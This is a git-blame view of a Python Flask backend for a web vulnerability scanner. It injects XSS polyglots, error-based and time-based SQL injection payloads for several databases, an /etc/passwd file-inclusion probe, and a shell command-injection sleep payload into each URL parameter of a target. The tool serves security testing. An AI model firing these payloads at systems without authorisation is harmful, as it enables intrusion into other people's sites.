2016-12-24 16:49:26 +00:00
|
|
|
|
#!/usr/bin/python
|
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
from flask import Flask, request, jsonify
|
|
|
|
|
from ghost import Ghost
|
|
|
|
|
import requests
|
2016-12-27 13:00:55 +00:00
|
|
|
|
import datetime
|
2016-12-24 16:49:26 +00:00
|
|
|
|
import re
|
|
|
|
|
|
|
|
|
|
app = Flask(__name__)
|
|
|
|
|
firefox = Ghost()
|
|
|
|
|
|
|
|
|
|
"""scan_xss
|
|
|
|
|
Description: inject a polyglot vector for XSS in every parameter, then it checks if an alert was triggered
|
|
|
|
|
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
|
|
|
|
|
"""
|
2016-12-28 14:22:29 +00:00
|
|
|
|
def scan_xss(vulns, url, fuzz, cookie, useragent):
|
2016-12-26 12:25:36 +00:00
|
|
|
|
payload = 'jaVasCript:alert(1)//" name=alert(1) onErrOr=eval(name) src=1 autofocus oNfoCus=eval(name)><marquee><img src=x onerror=alert(1)></marquee>" ></textarea\></|\><details/open/ontoggle=prompt`1` ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->" ></script><sCrIpt>confirm(1)</scRipt>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>\'"><!--'
|
|
|
|
|
payload1 = 'javascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression(/*\'/-/*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"'
|
|
|
|
|
|
2016-12-24 16:49:26 +00:00
|
|
|
|
try:
|
|
|
|
|
with firefox.start() as session:
|
|
|
|
|
|
|
|
|
|
# Send GET XSS
|
|
|
|
|
inject = url.replace(fuzz+"=", fuzz+"="+payload)
|
2016-12-28 14:22:29 +00:00
|
|
|
|
page, extra_resources = session.open(inject, headers={'Cookie':cookie}, user_agent=useragent)
|
2016-12-24 16:49:26 +00:00
|
|
|
|
result, resources = session.wait_for_alert(1)
|
|
|
|
|
|
|
|
|
|
# Detect XSS result with an alert
|
|
|
|
|
if result == '1':
|
|
|
|
|
print "\t\t\033[93mXSS Detected \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
vulns['xss'] += 1
|
2016-12-26 15:42:51 +00:00
|
|
|
|
vulns['list'] += 'XSS|TYPE|'+inject+'|DELIMITER|'
|
2016-12-24 16:49:26 +00:00
|
|
|
|
else:
|
|
|
|
|
print "\t\t\033[94mXSS Failed \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
|
|
|
|
|
except Exception, e:
|
|
|
|
|
print "\t\t\033[94mXSS Failed \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
"""scan_sql
|
|
|
|
|
Description: use a single quote to generate a SQL error in the page
|
|
|
|
|
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
|
|
|
|
|
"""
|
2016-12-28 14:22:29 +00:00
|
|
|
|
def scan_sql_error(vulns, url, fuzz, cookie, useragent):
|
2016-12-24 16:49:26 +00:00
|
|
|
|
payload = "'"
|
|
|
|
|
inject = url.replace(fuzz+"=", fuzz+"="+payload)
|
2016-12-28 14:22:29 +00:00
|
|
|
|
content = requests.get(inject, cookies=cookie, headers={'user-agent': useragent} ).text
|
2016-12-24 16:49:26 +00:00
|
|
|
|
|
2016-12-27 13:00:55 +00:00
|
|
|
|
if "SQLSTATE[HY000]" in content or "Warning: SQLite3:" in content or "You have an error in your SQL syntax" in content:
|
2016-12-24 16:49:26 +00:00
|
|
|
|
print "\t\t\033[93mSQLi Detected \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
vulns['sql'] += 1
|
2016-12-27 13:00:55 +00:00
|
|
|
|
vulns['list'] += 'E_SQLi|TYPE|'+inject+'|DELIMITER|'
|
2016-12-24 16:49:26 +00:00
|
|
|
|
else:
|
|
|
|
|
print "\t\t\033[94mSQLi Failed \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
|
|
|
|
|
|
2016-12-26 15:42:51 +00:00
|
|
|
|
"""scan_sql_blind_time
|
|
|
|
|
Description: use a polyglot vector to detect a SQL injection based on the response time
|
|
|
|
|
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
|
2016-12-26 12:25:36 +00:00
|
|
|
|
"""
|
2016-12-28 14:22:29 +00:00
|
|
|
|
def scan_sql_blind_time(vulns, url, fuzz, cookie, useragent):
|
2016-12-27 13:00:55 +00:00
|
|
|
|
mysql_payload = "SLEEP(4) /*' || SLEEP(4) || '\" || SLEEP(4) || \"*/"
|
|
|
|
|
sqlite_payload = "substr(upper(hex(randomblob(55555555))),0,1) /*' || substr(upper(hex(randomblob(55555555))),0,1) || '\" || substr(upper(hex(randomblob(55555555))),0,1) || \"*/"
|
|
|
|
|
postgre_payload = "(SELECT 55555555 FROM PG_SLEEP(4)) /*' || (SELECT 55555555 FROM PG_SLEEP(4)) || '\" || (SELECT 55555555 FROM PG_SLEEP(4)) || \"*/"
|
|
|
|
|
oracle_payload = "DBMS_PIPE.RECEIVE_MESSAGE(chr(65)||chr(65)||chr(65),5) /*' || DBMS_PIPE.RECEIVE_MESSAGE(chr(65)||chr(65)||chr(65),5) || '\" || DBMS_PIPE.RECEIVE_MESSAGE(chr(65)||chr(65)||chr(65),5) || \"*/"
|
|
|
|
|
sqlserver_payload = "WAITFOR DELAY chr(48)+chr(58)+chr(48)+chr(58)+chr(52) /*' || WAITFOR DELAY chr(48)+chr(58)+chr(48)+chr(58)+chr(52) || '\" || WAITFOR DELAY chr(48)+chr(58)+chr(48)+chr(58)+chr(52) || \"*/"
|
|
|
|
|
payloads_name = ["MySQL", "SQLite", "PostgreSQL", "OracleSQL", "SQL Server"]
|
|
|
|
|
payloads_list = [mysql_payload, sqlite_payload, postgre_payload, oracle_payload, sqlserver_payload]
|
|
|
|
|
|
|
|
|
|
for payload,name in zip(payloads_list,payloads_name):
|
|
|
|
|
|
|
|
|
|
# Do a request and check the response time
|
|
|
|
|
inject = url.replace(fuzz+"=", fuzz+"="+payload)
|
|
|
|
|
time1 = datetime.datetime.now()
|
2016-12-28 14:22:29 +00:00
|
|
|
|
content = requests.get(inject, cookies=cookie, headers={'user-agent': useragent} ).text
|
2016-12-27 13:00:55 +00:00
|
|
|
|
time2 = datetime.datetime.now()
|
|
|
|
|
diff = time2 - time1
|
|
|
|
|
diff = (divmod(diff.days * 86400 + diff.seconds, 60))[1]
|
|
|
|
|
|
|
|
|
|
# Our payloads will force a delay of 4s at least.
|
|
|
|
|
if diff > 2:
|
|
|
|
|
print "\t\t\033[93mTime Based SQLi (", name ,") Detected \033[0m for ", fuzz, " with the payload :", sqlite_payload
|
|
|
|
|
vulns['sql'] += 1
|
|
|
|
|
vulns['list'] += 'B_SQLi|TYPE|'+inject+'|DELIMITER|'
|
|
|
|
|
return
|
|
|
|
|
|
|
|
|
|
else:
|
|
|
|
|
print "\t\t\033[94mTime Based SQLi (", name ,") Failed \033[0m for ", fuzz, " with the payload :", payload
|
2016-12-26 12:25:36 +00:00
|
|
|
|
|
2016-12-27 21:40:20 +00:00
|
|
|
|
|
2016-12-24 16:49:26 +00:00
|
|
|
|
"""scan_lfi
|
|
|
|
|
Description: will scan every parameter for LFI, checking for the common root:x:0:0
|
|
|
|
|
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
|
|
|
|
|
"""
|
2016-12-28 14:22:29 +00:00
|
|
|
|
def scan_lfi(vulns, url, fuzz, cookie, useragent):
|
2016-12-24 16:49:26 +00:00
|
|
|
|
payload = "/etc/passwd"
|
|
|
|
|
inject = re.sub(fuzz+"="+"(.[^&]*)", fuzz+"="+payload , url)
|
2016-12-28 14:22:29 +00:00
|
|
|
|
content = requests.get(inject, cookies=cookie, headers={'user-agent': useragent} ).text
|
2016-12-24 16:49:26 +00:00
|
|
|
|
|
|
|
|
|
if "root:x:0:0:root:/root:/bin/bash" in content:
|
|
|
|
|
print "\t\t\033[93mLFI Detected \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
vulns['lfi'] += 1
|
2016-12-26 15:42:51 +00:00
|
|
|
|
vulns['list'] += 'LFI|TYPE|'+inject+'|DELIMITER|'
|
2016-12-24 16:49:26 +00:00
|
|
|
|
else:
|
|
|
|
|
print "\t\t\033[94mLFI Failed \033[0m for ", fuzz, " with the payload :", payload, inject
|
|
|
|
|
|
2016-12-27 13:00:55 +00:00
|
|
|
|
|
2016-12-27 21:40:20 +00:00
|
|
|
|
"""scan_rce
|
|
|
|
|
Description: use a polyglot vector to detect a RCE based on the response time
|
|
|
|
|
Parameters: vulns - list of vulnerabilities, url - address of the target, fuzz - parameter we modify
|
|
|
|
|
"""
|
2016-12-28 14:22:29 +00:00
|
|
|
|
def scan_rce(vulns, url, fuzz, cookie, useragent):
|
2016-12-27 21:40:20 +00:00
|
|
|
|
""" Some tests of context
|
|
|
|
|
$ time (ping -c 3 127.0.0.1`#'|sleep${IFS}4|'`"|sleep${IFS}4|";sleep${IFS}4 ) - real 0m4.113s
|
|
|
|
|
ping: unknown host 127.0.0.1|sleep
|
|
|
|
|
4|
|
|
|
|
|
|
|
|
|
|
$ time (ping -c 3 '127.0.0.1`#'|sleep${IFS}4|'`"|sleep${IFS}4|";sleep${IFS}4 ') - real 0m4.012s
|
|
|
|
|
ping: unknown host 127.0.0.1`#
|
|
|
|
|
`"|sleep${IFS}4|";sleep${IFS}4 : commande introuvable
|
|
|
|
|
|
|
|
|
|
$ time (ping -c 3 "127.0.0.1`#'|sleep${IFS}4|'`"|sleep${IFS}4|";sleep${IFS}4 ") - real 0m4.008s
|
|
|
|
|
;sleep
|
|
|
|
|
4 : commande introuvable
|
|
|
|
|
"""
|
2016-12-28 14:12:24 +00:00
|
|
|
|
# Payload URL-encoded of `#'|sleep${IFS}4|'`\"|sleep${IFS}4|\";sleep${IFS}4"
|
|
|
|
|
payload = "%60%23%27%7Csleep%24%7BIFS%7D4%7C%27%60%22%7Csleep%24%7BIFS%7D4%7C%22%3Bsleep%24%7BIFS%7D4"
|
2016-12-27 21:40:20 +00:00
|
|
|
|
|
|
|
|
|
# Do a request and check the response time
|
|
|
|
|
inject = url.replace(fuzz+"=", fuzz+"="+payload)
|
|
|
|
|
time1 = datetime.datetime.now()
|
2016-12-28 14:22:29 +00:00
|
|
|
|
content = requests.get(inject, cookies=cookie, headers={'user-agent': useragent}).text
|
2016-12-27 21:40:20 +00:00
|
|
|
|
time2 = datetime.datetime.now()
|
|
|
|
|
diff = time2 - time1
|
|
|
|
|
diff = (divmod(diff.days * 86400 + diff.seconds, 60))[1]
|
|
|
|
|
|
|
|
|
|
# The payload will force a delay of 5s at least.
|
|
|
|
|
if diff > 2:
|
|
|
|
|
print "\t\t\033[93mRCE Detected \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
vulns['rce'] += 1
|
|
|
|
|
vulns['list'] += 'RCE|TYPE|'+inject+'|DELIMITER|'
|
|
|
|
|
|
|
|
|
|
else:
|
|
|
|
|
print "\t\t\033[94mRCE Failed \033[0m for ", fuzz, " with the payload :", payload
|
|
|
|
|
|
|
|
|
|
|
2016-12-24 16:49:26 +00:00
|
|
|
|
""" Route /ping
|
|
|
|
|
Description: Simple ping implementation to check if the server is up via the extension
|
|
|
|
|
"""
|
|
|
|
|
@app.route('/ping',methods=['GET'])
|
|
|
|
|
def ping():
|
|
|
|
|
return "pong"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
""" Route /
|
|
|
|
|
Description: main route for the flask application, every scan is launched from here
|
|
|
|
|
"""
|
|
|
|
|
@app.route('/',methods=['GET'])
|
|
|
|
|
def index():
|
2016-12-27 21:40:20 +00:00
|
|
|
|
vulns = {'rce': 0, 'xss': 0, 'sql': 0, 'lfi': 0, 'list':''}
|
2016-12-24 16:49:26 +00:00
|
|
|
|
|
|
|
|
|
# Parse requests - extract arguments
|
2016-12-28 14:22:29 +00:00
|
|
|
|
args = request.args
|
|
|
|
|
url = args['url']
|
|
|
|
|
useragent = args['useragent']
|
2016-12-29 19:03:58 +00:00
|
|
|
|
methods = args['method']
|
|
|
|
|
data = args['data']
|
2016-12-28 14:12:24 +00:00
|
|
|
|
|
2016-12-29 19:03:58 +00:00
|
|
|
|
# Parse args for GET
|
2016-12-24 16:49:26 +00:00
|
|
|
|
if "?" in url:
|
2016-12-29 19:03:58 +00:00
|
|
|
|
|
|
|
|
|
# Parse cookies strings - string like name:username|value:admin
|
|
|
|
|
cookies_requests = {}
|
|
|
|
|
cookies_ghost = ""
|
|
|
|
|
for cookie in args['cookies'].split('\n'):
|
|
|
|
|
|
|
|
|
|
c = cookie.split('|')
|
|
|
|
|
if c != '' and c != None:
|
|
|
|
|
if len(c) != 1:
|
|
|
|
|
name = str(c[0]).replace('name:','')
|
|
|
|
|
value = str(c[1]).replace('value:','')
|
|
|
|
|
cookies_requests[name] = value
|
|
|
|
|
cookies_ghost += " "+cookie.replace('name:','').replace('value:','=').replace('|','') + ";"
|
|
|
|
|
|
|
|
|
|
# Parse url
|
2016-12-24 16:49:26 +00:00
|
|
|
|
params = url.split('?')[1]
|
|
|
|
|
regex = re.compile('([a-zA-Z0-9\-_]*?)=')
|
|
|
|
|
matches = regex.findall(params)
|
|
|
|
|
|
|
|
|
|
# Launch scans
|
|
|
|
|
for fuzz in matches:
|
2016-12-29 19:03:58 +00:00
|
|
|
|
print "\n---[ GET - New parameter " + fuzz + " for url: " + url + " ]---"
|
2016-12-28 14:22:29 +00:00
|
|
|
|
scan_xss(vulns, url, fuzz, cookies_ghost, useragent)
|
|
|
|
|
scan_lfi(vulns, url, fuzz, cookies_requests, useragent)
|
|
|
|
|
scan_sql_error(vulns, url, fuzz, cookies_requests, useragent)
|
|
|
|
|
scan_sql_blind_time(vulns, url, fuzz, cookies_requests, useragent)
|
|
|
|
|
scan_rce(vulns, url, fuzz, cookies_requests, useragent)
|
2016-12-27 13:00:55 +00:00
|
|
|
|
|
2016-12-29 19:03:58 +00:00
|
|
|
|
# Parse args for POST
|
|
|
|
|
if data != '':
|
|
|
|
|
|
|
|
|
|
# Parse document.cookie for Ghost and Requests
|
|
|
|
|
cookies_requests = {} #dict
|
|
|
|
|
cookies_ghost = "" #string header
|
|
|
|
|
for cookie in args['cookies'].split(';'):
|
|
|
|
|
c = cookie.split('=')
|
|
|
|
|
if c != '' and c != None:
|
|
|
|
|
if len(c) != 1:
|
|
|
|
|
name = c[0]
|
|
|
|
|
value = c[1]
|
|
|
|
|
cookies_requests[name] = value
|
|
|
|
|
cookies_ghost += " "+cookie.replace('name:','').replace('value:','=').replace('|','') + ";"
|
|
|
|
|
|
|
|
|
|
# DEBUG
|
|
|
|
|
print cookies_requests
|
|
|
|
|
print cookies_ghost
|
|
|
|
|
|
|
|
|
|
# TODO parse POST data
|
|
|
|
|
fuzz = data
|
|
|
|
|
print "\n---[ POST - New parameter |" + fuzz + "| for url: " + url + " ]---"
|
|
|
|
|
|
|
|
|
|
|
2016-12-24 16:49:26 +00:00
|
|
|
|
# Display results as a json
|
|
|
|
|
return jsonify(vulns)
|
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
|
app.run(port=8000, threaded=True, passthrough_errors=False)
|